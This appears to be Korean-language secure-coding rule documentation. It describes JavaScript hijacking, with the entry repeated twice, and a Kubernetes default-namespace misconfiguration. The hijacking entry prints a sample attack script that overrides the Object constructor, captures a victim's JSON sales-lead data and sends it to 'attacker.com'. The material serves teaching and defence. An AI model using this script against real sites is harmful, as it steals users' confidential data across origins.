응용 프로그램은 다음과 같은 경우 JavaScript 하이재킹(Hijacking)에 취약해질 수 있습니다. 1) 데이터 전송 형식으로 JavaScript 개체를 사용하는 경우 2) 기밀 데이터를 처리하는 경우 JavaScript 하이재킹(hijacking) 취약점이 직접적인 코딩 실수의 결과로 발생하지는 않기 때문에 Fortify Secure Coding Rulepacks는 HTTP 응답에서 JavaScript를 생성하는 것으로 나타나는 코드를 식별하여 잠재적인 JavaScript 하이재킹(hijacking) 취약점을 파악합니다.

웹 브라우저는 악성 웹사이트로부터 사용자를 보호하기 위해 동일 출처 정책(Same Origin Policy)을 강제 적용합니다. JavaScript가 웹 페이지의 항목에 액세스하려면 동일 출처 정책(Same Origin Policy)에 따라 JavaScript 및 웹페이지의 출처가 동일한 도메인이어야 합니다. 동일 출처 정책(Same Origin Policy)을 사용하지 않을 경우, 악성 웹 사이트가 클라이언트의 기밀을 사용하여 다른 웹 사이트의 민감한 정보를 로드하고, 정보를 발췌하며 공격자와 역으로 통신하도록 JavaScript를 사용할 수 있습니다. 웹 응용 프로그램이 기밀 정보를 통신하는 데 JavaScript를 사용할 경우, 공격자는 JavaScript 하이재킹(hijacking)을 통해 동일 출처 정책(Same Origin Policy)을 우회할 수 있습니다. 동일 출처 정책(Same Origin Policy)의 허점은 다른 모든 웹사이트의 컨텍스트에 포함되고 실행되도록 모든 웹사이트의 JavaScript를 허용한다는 점입니다. 악성 사이트는 클라이언트의 취약한 사이트에서 로드된 데이터를 직접 검사할 수 없지만 JavaScript 실행 및 관련 부작용을 관찰할 수 있는 환경을 설정하여 이 허점을 이용할 수 있습니다. 많은 Web 2.0 응용 프로그램이 JavaScript를 데이터 전송 메커니즘으로 사용하기 때문에 기존 웹 응용 프로그램과 달리 취약한 경우가 많습니다.

JavaScript에서 정보 통신을 위한 가장 흔한 형식은 JSON(JavaScript Object Notation)입니다. JSON RFC는 JavaScript 개체 리터럴 구문의 하위 집합이 되도록 JSON을 지정합니다. JSON은 2가지 데이터 구조, 즉 배열 및 개체를 기반으로 합니다. 하나 또는 그 이상의 유효한 JavaScript 문으로 메시지를 해석할 수 있는 모든 데이터 전송 형식은 JavaScript 하이재킹(hijacking)에 대해 취약합니다. JSON 배열은 그 자체로 유효한 JavaScript 문이므로 JSON으로 인해 JavaScript 하이재킹(hijacking)이 보다 용이해집니다. 배열은 목록을 전달하기 위한 자연적인 형태이므로 응용 프로그램으로 여러 값을 전달해야 하는 모든 경우에 흔히 사용됩니다. 다시 말해 JSON 배열은 JavaScript 하이재킹(hijacking)에 대해 매우 취약합니다. JSON 개체는 그 자체로 유효한 JavaScript 문인 다른 JavaScript 구성으로 래핑된 경우에만 취약합니다.

예제 1: 다음 예제는 판매 리드를 관리하는 데 사용되는 웹 응용 프로그램의 클라이언트와 서버 구성 요소 간의 올바른 JSON 상호 작용을 보여주는 것으로 시작합니다. 그런 다음 공격자가 클라이언트를 모방하고 서버가 반환하는 기밀 데이터에 액세스하는 방법을 보여줍니다. 이 예는 Mozilla 기반 브라우저용으로 작성되었습니다. 다른 주요 브라우저는 새 연산자를 사용하지 않고 개체가 생성될 때 네이티브 구성자를 재정의하는 것을 허용하지 않습니다.

클라이언트는 서버의 데이터를 요청하고 다음 코드를 사용하여 결과를 JSON으로 평가합니다.


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


이 코드가 실행될 때, 다음과 같이 나타나는 HTTP 요청이 생성됩니다.


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(이러한 HTTP 응답 및 뒤따르는 내용에서, 본 설명과 직접적으로 관련이 없는 HTTP 헤더는 생략합니다.)
서버가 다음 JSON 형식의 배열로 응답합니다.


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


이 경우 JSON은 현재 사용자와 관련된 기밀 정보(판매 리드 목록)가 포함됩니다. 다른 사용자는 사용자 세션 ID를 모르고서는 본 정보에 액세스할 수 없습니다. (최신 웹 응용 프로그램에서는 세션 ID가 쿠키로 저장됩니다.) 그러나 피해자가 악성 웹 사이트를 방문하는 경우, 악성 사이트에서 JavaScript 하이재킹(hijacking)을 사용하여 해당 정보를 검색할 수 있습니다. 피해자가 속아서 다음 악성 코드를 포함하는 웹 페이지를 방문하는 경우, 피해자의 리드 정보(lead information)가 공격자의 웹 사이트로 전송됩니다.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


악성 코드는 스크립트 태그를 사용하여 현재 페이지에 JSON 개체를 포함합니다. 웹 브라우저에서는 요청과 함께 적절한 세션 쿠키를 보냅니다. 즉, 이 요청은 올바른 응용 프로그램에서 생성된 것처럼 처리됩니다.

JSON 배열이 클라이언트에 도착하면 이 배열은 악성 페이지의 컨텍스트에서 평가됩니다. JSON 평가를 모니터링하기 위해 악성 페이지에는 새 개체를 생성하는 데 사용되는 JavaScript 함수가 새롭게 정의되었습니다. 이를 통해 악성 코드가 후크를 삽입하여 각 개체 생성 작업에 액세스하고 개체 콘텐트를 악성 사이트로 다시 전송할 수 있게 되었습니다. 대신 다른 공격이 배열의 기본 생성자를 재정의할 수 있습니다. 매시업에서 사용하도록 작성된 응용 프로그램이 각 JavaScript 메시지의 끝에서 콜백 함수를 호출하는 경우가 있습니다. 이 콜백 함수는 매시업의 다른 응용 프로그램이 정의하도록 하기 위한 것입니다. 콜백 함수를 사용하면 JavaScript 하이재킹(hijacking) 공격을 간단하게 수행할 수 있습니다. 모든 공격자가 해야 할 작업은 함수만 정의하는 것입니다. 응용 프로그램은 매시업하기 쉽거나 안전하게 보호되는 상태일 수 있지만 동시에 두 상태일 수는 없습니다. 사용자가 취약한 사이트에 로그인되어 있지 않으면 공격자는 사용자에게 로그인을 요청한 후 적법한 응용 프로그램 로그인 페이지를 표시하여 공격을 시도할 수 있습니다.

이때 공격자가 사용자 자격 증명에 대한 액세스 권한을 얻지는 않기 때문에 이 방식은 피싱 공격이 아닙니다. 그러므로 피싱 방지 기능을 사용해도 공격을 피할 수 없습니다. 보다 복잡한 공격에서는 JavaScript를 사용하여 스크립트 태그를 동적으로 생성함으로써 응용 프로그램에 일련의 요청을 할 수 있습니다. 이와 동일한 기술을 사용하여 응용 프로그램 매시업을 생성하는 경우도 있습니다. 두 가지 경우의 차이는 매시업 시나리오의 경우 대상 응용 프로그램 중 하나가 악성 응용 프로그램이라는 점입니다.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.javascript_hijacking_vulnerable_framework
Abstract
민감한 데이터를 전송하도록 JavaScript 주석을 사용하는 응용 프로그램은 JavaScript 하이재킹(hijacking)에 취약하므로 권한이 없는 공격자가 취약한 응용 프로그램의 기밀 데이터를 읽을 수 있습니다.
Explanation
1) 데이터 전송 형식으로 JavaScript 개체를 사용하는 경우 및 2) 기밀 데이터를 처리하는 경우 응용 프로그램은 JavaScript 하이재킹에 취약할 수 있습니다. JavaScript 하이재킹(hijacking) 취약성이 직접적인 코딩 실수의 결과로 발생하지는 않기 때문에 Fortify Secure Coding Rulepacks는 HTTP 응답에서 JavaScript를 생성하는 것으로 나타나는 코드를 식별하여 잠재적인 JavaScript 하이재킹(hijacking) 취약성을 파악합니다.

웹 브라우저는 악성 웹사이트로부터 사용자를 보호하기 위해 동일 출처 정책(Same Origin Policy)을 강제 적용합니다. JavaScript가 웹 페이지의 항목에 액세스하려면 동일 출처 정책(Same Origin Policy)에 따라 JavaScript 및 웹페이지의 출처가 동일한 도메인이어야 합니다. 동일 출처 정책(Same Origin Policy)을 사용하지 않을 경우, 악성 웹 사이트가 클라이언트의 기밀을 사용하여 다른 웹 사이트의 민감한 정보를 로드하고, 정보를 발췌하며 공격자와 역으로 통신하도록 JavaScript를 사용할 수 있습니다. 웹 응용 프로그램이 기밀 정보를 통신하는 데 JavaScript를 사용할 경우, 공격자는 JavaScript 하이재킹(hijacking)을 통해 동일 출처 정책(Same Origin Policy)을 우회할 수 있습니다. 동일 출처 정책(Same Origin Policy)의 허점은 다른 모든 웹사이트의 컨텍스트에 포함되고 실행되도록 모든 웹사이트의 JavaScript를 허용한다는 점입니다. 악성 사이트는 클라이언트의 취약한 사이트에서 로드된 데이터를 직접 검사할 수 없지만 JavaScript 실행 및 관련 부작용을 관찰할 수 있는 환경을 설정하여 이 허점을 이용할 수 있습니다. 많은 Web 2.0 응용 프로그램이 JavaScript를 데이터 전송 메커니즘으로 사용하기 때문에 기존 웹 응용 프로그램과 달리 취약한 경우가 많습니다.

JavaScript에서 정보 통신을 위한 가장 흔한 형식은 JSON(JavaScript Object Notation)입니다. JSON RFC는 JavaScript 개체 리터럴 구문의 부분 집합이 되도록 JSON을 지정합니다. JSON은 2가지 데이터 구조, 즉 배열 및 개체를 기반으로 합니다. 하나 또는 그 이상의 유효한 JavaScript 문으로 메시지를 해석할 수 있는 모든 데이터 전송 형식은 JavaScript 하이재킹(hijacking)에 대해 취약합니다. JSON 배열은 그 자체로 유효한 JavaScript 문이므로 JSON으로 인해 JavaScript 하이재킹(hijacking)이 보다 용이해집니다. 배열은 목록을 통신하는 데 있어 자연스러운 형태이므로 일반적으로 응용 프로그램이 여러 값으로 통신해야 하는 곳마다 이 배열이 사용됩니다. 달리 표현하자면, JSON 배열은 JavaScript 하이재킹(hijacking)에 대해 매우 취약합니다. JSON 개체는 자체로서 유효한 JavaScript 문인 일부 다른 JavaScript로 래핑된 경우에만 취약합니다.

예제 1: 다음 예제는 영업 리드를 관리하는 데 사용되는 웹 응용 프로그램의 클라이언트 및 서버 구성 요소 간의 올바른 JSON 상호 작용을 보여 주는 것으로 시작합니다. 또한, 공격자가 클라이언트를 모방하는 방법 및 서버가 반환하는 기밀 데이터에 액세스하는 방법을 나타냅니다. 이 예는 Mozilla 기반 브라우저용으로 작성되었습니다. 다른 주요 브라우저는 새 연산자를 사용하지 않고 개체가 생성될 때 네이티브 구성자를 덮어 쓰는 것을 허용하지 않습니다.

클라이언트는 서버에 데이터를 요청하고 다음 코드를 사용하여 결과를 JSON으로서 평가합니다.


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


이 코드가 실행될 때, 다음과 같이 나타나는 HTTP 요청이 생성됩니다.


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(이러한 HTTP 응답 및 뒤따르는 내용에서, 본 설명과 직접적으로 관련이 없는 HTTP 헤더는 생략합니다.)
서버가 다음 JSON 형식의 배열로 응답합니다.


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


이 경우, JSON은 현재 사용자와 관련된 기밀 정보(영업 리드 목록)를 포함합니다. 다른 사용자는 사용자 세션 ID를 모르고서는 본 정보에 액세스할 수 없습니다. (최신 웹 응용 프로그램에서는 세션 ID가 쿠키로 저장됩니다.) 그러나, 피해자가 악성 웹 사이트를 방문하는 경우, 악성 사이트에서 JavaScript 하이재킹(hijacking)을 사용하여 해당 정보를 검색할 수 있습니다. 피해자가 속아서 다음 악성 코드를 포함하는 웹 페이지를 방문하는 경우, 피해자의 리드 정보(lead information)가 공격자의 웹 사이트로 전송됩니다.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


악성 코드는 스크립트 태그를 사용하여 현재 페이지에 JSON 개체를 포함합니다. 웹 브라우저에서는 요청과 함께 적절한 세션 쿠키를 보냅니다. 즉 이 요청이 올바른 응용 프로그램에서 생성된 것처럼 처리됩니다.

JSON 배열이 클라이언트에 도착하면 이 배열은 악성 페이지의 컨텍스트에서 평가됩니다. JSON 평가를 모니터링하기 위해 악성 페이지에는 새 개체를 생성하는 데 사용되는 JavaScript 함수가 새롭게 정의되었습니다. 이를 통해 악성 코드가 후크를 삽입하여 각 개체 생성 작업에 액세스하고 개체 콘텐트를 악성 사이트로 다시 전송할 수 있게 되었습니다. 대신 다른 공격이 배열의 기본 생성자를 오버라이드할 수 있습니다. 매시업에서 사용하도록 작성된 응용 프로그램이 각 JavaScript 메시지의 끝에서 콜백 함수를 호출하는 경우가 있습니다. 이 콜백 함수는 매시업의 다른 응용 프로그램이 정의하도록 하기 위한 것입니다. 콜백 함수를 사용하면 JavaScript 하이재킹(hijacking) 공격을 간단하게 수행할 수 있습니다. 모든 공격자가 해야 할 작업은 함수만 정의하는 것입니다. 응용 프로그램은 매시업하기 쉽거나 안전하게 보호되는 상태일 수 있지만 동시에 두 상태일 수는 없습니다. 사용자가 취약한 사이트에 로그인되어 있지 않으면 공격자는 사용자에게 로그인을 요청한 후 적법한 응용 프로그램 로그인 페이지를 표시하여 공격을 시도할 수 있습니다.

이때 공격자가 사용자 자격 증명에 대한 액세스 권한을 얻지는 않기 때문에 이 방식은 피싱 공격이 아닙니다. 그러므로 피싱 방지 기능을 사용해도 공격을 피할 수 없습니다. 보다 복잡한 공격에서는 JavaScript를 사용하여 스크립트 태그를 동적으로 생성함으로써 응용 프로그램에 일련의 요청을 할 수 있습니다. 이와 동일한 기술을 사용하여 응용 프로그램 매시업을 생성하는 경우도 있습니다. 두 가지 경우의 차이는 매시업 시나리오의 경우 대상 응용 프로그램 중 하나가 악성 응용 프로그램이라는 점입니다.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework
Abstract
Kubernetes 기본 네임스페이스를 사용하지 마십시오.
Explanation
Kubernetes 네임스페이스는 클러스터를 관리 가능한 청크로 나눕니다. 네임스페이스는 이름의 범위를 제공하고 클러스터의 하위 섹션에 대한 다양한 정책을 손쉽게 지정할 수 있도록 합니다. 기본적으로 Kubernetes는 리소스를 default 네임스페이스에 할당합니다. 기본값과 다른 네임스페이스를 사용하면 실수나 악의적인 활동의 영향을 줄일 수 있습니다.

예제 1: 다음 구성은 리소스의 네임스페이스를 default로 설정합니다.

...
kind: ...
metadata:
...
namespace: default
spec:
...
References
[1] Namespaces The Kubernetes Authors
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 340
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[15] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[16] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Predictable Resource Location (WASC-34)
[31] Standards Mapping - Web Application Security Consortium 24 + 2 Predictable Resource Location
desc.structural.yaml.kubernetes_misconfiguration_default_namespace.base